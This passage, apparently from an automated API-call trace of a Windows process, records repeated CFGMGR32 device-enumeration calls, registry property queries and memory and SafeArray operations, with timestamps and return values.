lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.216] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.217] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.218] malloc (_Size=0x18) returned 0x20abc2820a0 [0240.218] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0240.224] malloc (_Size=0x48) returned 0x20abc2abf40 [0240.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4af3cd75, dwHighDateTime=0x1d9eb0c)) [0240.225] SetEvent (hEvent=0x248) returned 1 [0240.230] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.230] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.235] malloc (_Size=0x18) returned 0x20abc282080 [0240.235] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2f, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0240.236] malloc (_Size=0x48) returned 0x20abc2abe50 [0240.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4af3cd75, dwHighDateTime=0x1d9eb0c)) [0240.236] SetEvent (hEvent=0x248) returned 1 [0240.293] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.293] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.293] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.294] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.298] malloc (_Size=0x18) returned 0x20abc281ce0 [0240.298] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2f, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0240.298] malloc (_Size=0x48) returned 0x20abc2ab5e0 [0240.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4afd55f1, dwHighDateTime=0x1d9eb0c)) [0240.299] SetEvent (hEvent=0x248) returned 1 [0240.306] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.306] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.306] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.307] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.308] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.308] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.308] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.308] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.308] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.308] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.309] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.309] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.309] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.309] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.309] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.309] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.309] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.310] malloc (_Size=0x18) returned 0x20abc281d00 [0240.310] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0240.311] malloc (_Size=0x48) returned 0x20abc2ab680 [0240.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4affb7a3, dwHighDateTime=0x1d9eb0c)) [0240.311] SetEvent (hEvent=0x248) returned 1 [0240.319] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.319] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.322] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.323] malloc (_Size=0x18) returned 0x20abc281c40 [0240.323] CM_Get_Device_IDA (in: dnDevInst=0x30, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_10D3&SUBSYS_00008086&REV_00\\3&11583659&0&30") returned 0x0 [0240.323] malloc (_Size=0x48) returned 0x20abc27cb20 [0240.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4b0225ce, dwHighDateTime=0x1d9eb0c)) [0240.324] SetEvent (hEvent=0x248) returned 1 [0240.328] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.328] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.330] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.332] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.333] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.333] malloc (_Size=0x18) returned 0x20abc281a80 [0240.334] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0240.334] malloc (_Size=0x124) returned 0x20abc286870 [0240.334] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0240.335] free (_Block=0x20abc286870) [0240.335] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4b048077, dwHighDateTime=0x1d9eb0c)) [0240.336] SetEvent (hEvent=0x248) returned 1 [0240.422] malloc (_Size=0x18) returned 0x20abc282000 [0240.422] SafeArrayPutElement (psa=0x20abbaf1fe0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0240.422] free (_Block=0x20abc282000) [0240.422] malloc (_Size=0x18) returned 0x20abc281f80 [0240.422] SafeArrayPutElement (psa=0x20abbaf1fe0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0240.422] free (_Block=0x20abc281f80) [0240.423] malloc (_Size=0x18) returned 0x20abc281d40 [0240.423] SafeArrayPutElement (psa=0x20abbaf1fe0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0240.423] free (_Block=0x20abc281d40) [0240.423] malloc (_Size=0x18) returned 0x20abc2820c0 [0240.423] SafeArrayPutElement (psa=0x20abbaf1fe0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0240.423] free (_Block=0x20abc2820c0) [0240.423] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d370 [0240.423] SafeArrayGetDim (psa=0x20abbaf1fe0) returned 0x1 [0240.423] SafeArrayGetLBound (in: psa=0x20abbaf1fe0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0240.423] SafeArrayGetUBound (in: psa=0x20abbaf1fe0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0240.423] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0240.423] SafeArrayGetDim (psa=0x20abbaf1fe0) returned 0x1 [0240.423] SafeArrayGetUBound (in: psa=0x20abbaf1fe0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0240.423] SafeArrayGetElemsize (psa=0x20abbaf1fe0) returned 0x8 [0240.424] SafeArrayGetElement (in: psa=0x20abbaf1fe0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0240.424] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.425] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c78, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.425] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c80, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.425] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c88, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.426] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0240.426] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d370) returned 1 [0240.428] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.428] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.429] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.429] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.429] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.429] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.430] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.433] malloc (_Size=0x18) returned 0x20abc281b20 [0240.433] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0240.433] malloc (_Size=0x10e) returned 0x20abc286870 [0240.434] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0240.434] free (_Block=0x20abc286870) [0240.435] malloc (_Size=0x48) returned 0x20abc2abe50 [0240.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4b12ca56, dwHighDateTime=0x1d9eb0c)) [0240.435] SetEvent (hEvent=0x248) returned 1 [0240.438] malloc (_Size=0x18) returned 0x20abc281f60 [0240.438] SafeArrayPutElement (psa=0x20abbaf1e60, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0240.439] free (_Block=0x20abc281f60) [0240.439] malloc (_Size=0x18) returned 0x20abc281a80 [0240.439] SafeArrayPutElement (psa=0x20abbaf1e60, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0240.439] free (_Block=0x20abc281a80) [0240.439] malloc (_Size=0x18) returned 0x20abc282040 [0240.439] SafeArrayPutElement (psa=0x20abbaf1e60, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0240.439] free (_Block=0x20abc282040) [0240.439] malloc (_Size=0x18) returned 0x20abc281d20 [0240.439] SafeArrayPutElement (psa=0x20abbaf1e60, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0240.439] free (_Block=0x20abc281d20) [0240.440] malloc (_Size=0x18) returned 0x20abc281c60 [0240.440] SafeArrayPutElement (psa=0x20abbaf1e60, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0240.440] free (_Block=0x20abc281c60) [0240.440] malloc (_Size=0x18) returned 0x20abc2820c0 [0240.440] SafeArrayPutElement (psa=0x20abbaf1e60, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0240.440] free (_Block=0x20abc2820c0) [0240.440] malloc (_Size=0x18) returned 0x20abc2820c0 [0240.440] SafeArrayPutElement (psa=0x20abbaf1e60, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0240.440] free (_Block=0x20abc2820c0) [0240.440] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c370 [0240.441] SafeArrayGetDim (psa=0x20abbaf1e60) returned 0x1 [0240.441] SafeArrayGetLBound (in: psa=0x20abbaf1e60, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0240.441] SafeArrayGetUBound (in: psa=0x20abbaf1e60, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0240.441] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0240.441] SafeArrayGetDim (psa=0x20abbaf1e60) returned 0x1 [0240.441] SafeArrayGetUBound (in: psa=0x20abbaf1e60, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0240.441] SafeArrayGetElemsize (psa=0x20abbaf1e60) returned 0x8 [0240.441] SafeArrayGetElement 